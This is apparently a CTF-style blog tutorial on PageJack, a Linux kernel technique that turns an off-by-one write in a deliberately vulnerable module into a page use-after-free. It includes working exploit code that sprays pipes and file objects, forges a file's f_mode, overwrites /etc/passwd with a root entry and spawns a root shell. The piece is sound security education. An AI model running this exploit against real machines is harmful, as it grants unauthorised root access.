Post

Linux Kernel Exploitation - PageJack

Linux Kernel Exploitation - PageJack

In this post, I will explain PageJack, a universal and data-only exploitation technique that turns an off-by-one bug into a page UAF. Download the handouts beforehand.

Analysis

The vulnerable LKM provides two commands: CMD_ALLOC and CMD_WRITE. These commands are used to allocate and write to an object defined as follows:

1
2
3
4
5
#define OBJ_SIZE    0x400

struct obj {
    char buf[OBJ_SIZE];
};

Bugs

There is an obvious off-by-one bug in obj_write:

1
2
3
4
5
6
7
8
9
10
static long obj_write(char *data, size_t size) {
    if (obj == NULL || size > OBJ_SIZE) {
        return -1;
    }
    if (copy_from_user(obj->buf, data, size) != 0) {
        return -1;
    }
    obj->buf[size] = '\0';
    return 0;
}

PageJack

PageJack is a technique that turns an off-by-one bug into a page UAF. It targets the array of struct pipe_buffer allocated in alloc_pipe_info:

1
2
3
4
5
6
7
8
9
10
// https://elixir.bootlin.com/linux/v6.13/source/fs/pipe.c#L815-L816
struct pipe_inode_info *alloc_pipe_info(void)
{
    struct pipe_inode_info *pipe;
    unsigned long pipe_bufs = PIPE_DEF_BUFFERS;
    ...
    pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
                 GFP_KERNEL_ACCOUNT);
    ...
}

struct pipe_buffer has a pointer to a struct page as its first member:

1
2
3
4
5
6
7
8
// https://elixir.bootlin.com/linux/v6.13/source/include/linux/pipe_fs_i.h#L26-L32
struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags;
    unsigned long private;
};

Since sizeof(struct page) is 0x40 bytes and we have an off-by-one primitive, we can overwrite the pointer with a 75% probability, redirecting it to a different page. Then, by closing the pipe, we can free a page that is still in use by another pipe, thereby triggering a page UAF.

PageJack is a very powerful technique that can bypass mitigations like CONFIG_CFI_CLANG and the upcoming CONFIG_SLAB_VIRTUAL.

Exploitation

First, we allocate the victim object near struct pipe_buffer:

1
2
3
4
5
6
7
8
9
10
11
12
13
puts("[*] Spraying struct pipe_buffer");
int pipefds[NUM_PIPE_SPRAY][2];
for (int i = 0; i < NUM_PIPE_SPRAY / 2; i++) {
    assert(pipe(pipefds[i]) != -1);
}

puts("[*] Allocating a victim object from kmalloc-1k");
obj_alloc();

puts("[*] Spraying struct pipe_buffer");
for (int i = NUM_PIPE_SPRAY / 2; i < NUM_PIPE_SPRAY; i++) {
    assert(pipe(pipefds[i]) != -1);
}

Next, we write values to the allocated pipes. This step is necessary later on to identify the victim pipe:

1
2
3
4
5
6
puts("[*] Writting to pipes to allocate pages");
for (int i = 0; i < NUM_PIPE_SPRAY; i++) {
    int val = 0xcafebabe + i;
    assert(write(pipefds[i][1], &val, sizeof(val)) != -1);
    assert(write(pipefds[i][1], "deadbeef", 8) != -1);
}

There are two reasons why we additionally write "deadbeef". First, writing more than 4 bytes prevents the page from being freed when we later read 4 bytes. If we write only 4 bytes, the page will be freed in pipe_read:

1
2
3
4
5
6
7
8
// https://elixir.bootlin.com/linux/v6.13/source/fs/pipe.c#L343-L344
static ssize_t
pipe_read(struct kiocb *iocb, struct iov_iter *to)
{
    ...
            if (!buf->len)
                tail = pipe_update_tail(pipe, buf, tail);

The second reason is to overwrite the f_mode member of struct file in the final step. Since pipe_write writes from offset + len, and the offset of the f_mode member is 0xc, we adjust the write position:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// https://elixir.bootlin.com/linux/v6.13/source/fs/pipe.c#L477-L485
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
    ...
        int offset = buf->offset + buf->len;

        if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
            offset + chars <= PAGE_SIZE) {
            ret = pipe_buf_confirm(pipe, buf);
            if (ret)
                goto out;

            ret = copy_page_from_iter(buf->page, offset, chars, from);

page

Next, we perform the off-by-one write:

1
2
3
puts("[*] Overwitting pipe->bufs[0].page");
char zero[0x400] = {};
obj_write(zero, 0x400);

Next, we identify the victim pipe by reading from the pipe and checking if the value differs from the one we wrote:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
puts("[*] Locating the victim pipe");
int victim_pipefd = -1;
int origin_pipefd = -1;
for (int i = 0; i < NUM_PIPE_SPRAY; i++) {
    int val;

    assert(read(pipefds[i][0], &val, 4) != -1);
    if (val != 0xcafebabe + i) {
        victim_pipefd = i;
        origin_pipefd = val - 0xcafebabe;
        printf("[+] Found: victim_pipefd = %d, origin_pipefd = %d\n", victim_pipefd, origin_pipefd);
        break;
    }
}
if (victim_pipefd == -1) {
    puts("[-] Failed to locate the victim pipe");
    exit(0);
}

Next, we close one of the pipes that shares the same pointer to the page:

1
2
3
puts("[*] Closing the original pipe");
assert(close(pipefds[origin_pipefd][0]) != -1);
assert(close(pipefds[origin_pipefd][1]) != -1);

Next, we spray struct file objects for /etc/passwd to make the freed page be used as a filp slab:

1
2
3
4
5
6
puts("[*] Spraying struct file of /etc/passwd");
int filefds[NUM_SPRAY_FILE];
for (int i = 0; i < NUM_SPRAY_FILE; i++) {
    filefds[i]= open("/etc/passwd", O_RDONLY);
    assert(filefds[i] != -1);
}

Finally, we use the victim pipe to overwrite the f_mode member, making /etc/passwd writable, and then overwrite it (j9ep0CjBGivAnD5z6l5rr0 is MD5-encoded password with salt deadbeef)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
puts("[*] Overwitting f_mode");
int fake_f_mode = 0x84f801f;
assert(write(pipefds[victim_pipefd][1], &fake_f_mode, 4) != -1);

char payload[] = "root:$1$deadbeef$j9ep0CjBGivAnD5z6l5rr0:0:0:root:/root:/bin/sh\n";
printf("[*] Overwriting /etc/passwd with %s", payload);
for (int i = 0; i < NUM_SPRAY_FILE; i++) {
    if (write(filefds[i], payload, sizeof(payload)) != -1) {
        puts("[+] Success");
        puts("[+] You can now log in as root with the password: cafebabe");
        char *argv[] = {"/bin/sh", NULL};
        execve(argv[0], argv, NULL);
    }
}

By running this exploit, we can log in as a root user and see the flag:

win

You can use other methods, for example, Dirty Pagetable or Dirty Pipe, to achieve privilege escalation. Try modifying the above exploit to use these instead.

References

  1. Zhiyun Qian, Jiayi Hu, Jinmeng Zhou, Qi Tang and Wenbo Shen. 2024. PageJack: A Powerful Exploit Technique With Page-Level UAF. https://i.blackhat.com/BH-US-24/Presentations/US24-Qian-PageJack-A-Powerful-Exploit-Technique-With-Page-Level-UAF-Thursday.pdf
  2. arttnba3. 2023. 【CTF.0x08】D^ 3CTF2023 d3kcache: From null-byte cross-cache overflow to infinite arbitrary read & write. https://blog.arttnba3.cn/2023/05/02/CTF-0X08_D3CTF2023_D3KCACHE/
This post is licensed under CC BY 4.0 by the author.

Trending Tags